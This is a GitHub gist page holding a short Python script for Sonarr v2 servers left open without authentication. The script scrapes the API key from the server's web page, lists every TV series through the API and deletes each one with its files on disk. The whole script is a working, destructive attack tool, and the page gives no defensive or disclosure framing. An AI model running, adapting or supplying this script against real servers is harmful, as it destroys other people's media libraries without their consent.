Created
June 23, 2020 16:12
-
-
Save mandreko/612159aa1022c7256b281d5443a0f631 to your computer and use it in GitHub Desktop.
Basic script to delete all shows from a Sonarr v2 server if the service is left open without any authentication
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import re | |
import json | |
from optparse import OptionParser | |
def get_api_key(url): | |
# Make a request to url's root site | |
r = requests.get(url) | |
if r.status_code != requests.codes.ok: | |
print ("There was an error connecting to the URL") | |
exit() | |
# Grab the API key from the html (example below) | |
# <script type="text/javascript"> | |
# window.NzbDrone = { | |
# ApiRoot : '/api', | |
# ApiKey : '7b61f506eccf4aed89759586fd900e87', | |
# Version : '2.0.0.5344', | |
# Branch : 'master', | |
# Analytics : false, | |
# UrlBase : '', | |
# Production : true | |
# }; | |
# </script> | |
m = re.search('ApiKey\s*:\s*\\\'([0-9a-f]*)\\\'', r.text, re.M|re.I) | |
api_key = m.group(1) | |
if not api_key: | |
print("There was an error parsing the API key") | |
exit() | |
return api_key | |
def get_show_ids(url, api_key): | |
show_ids = [] | |
# get /api/series | |
r = requests.get(url + '/api/series', headers={"X-Api-Key": api_key}) | |
if r.status_code != requests.codes.ok: | |
print ("There was an error connecting to the API") | |
exit() | |
# Parse JSON to get all the 'id' values of the shows | |
data = json.loads(r.text) | |
for show in data: | |
show_ids.append(show['id']) | |
return show_ids | |
def delete_show(url, api_key, id): | |
# /api/series/#?deleteFiles=true | |
# Method: DELETE | |
r = requests.delete(url + f'/api/series/{id}?deleteFiles=true', headers={"X-Api-Key": api_key}) | |
if r.status_code != requests.codes.ok: | |
print (f"There was an error deleting show id {id}") | |
exit() | |
if __name__ == "__main__": | |
parser = OptionParser() | |
parser.add_option("-u", "--url", action="store", type="string", dest="base_url", help="Base URL of Sonarr site (eg. http://1.2.3.4:8081)") | |
(options, args) = parser.parse_args() | |
if not options.base_url: | |
parser.error("URL not provided") | |
print(f"Base URL: {options.base_url}") | |
api_key = get_api_key(options.base_url) | |
print(f"[-] API Key: {api_key}") | |
print("Getting shows...") | |
show_ids = get_show_ids(options.base_url, api_key) | |
print(f"Found {len(show_ids)} shows.") | |
print("Deleting shows...") | |
for id in show_ids: | |
delete_show(options.base_url, api_key, id) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment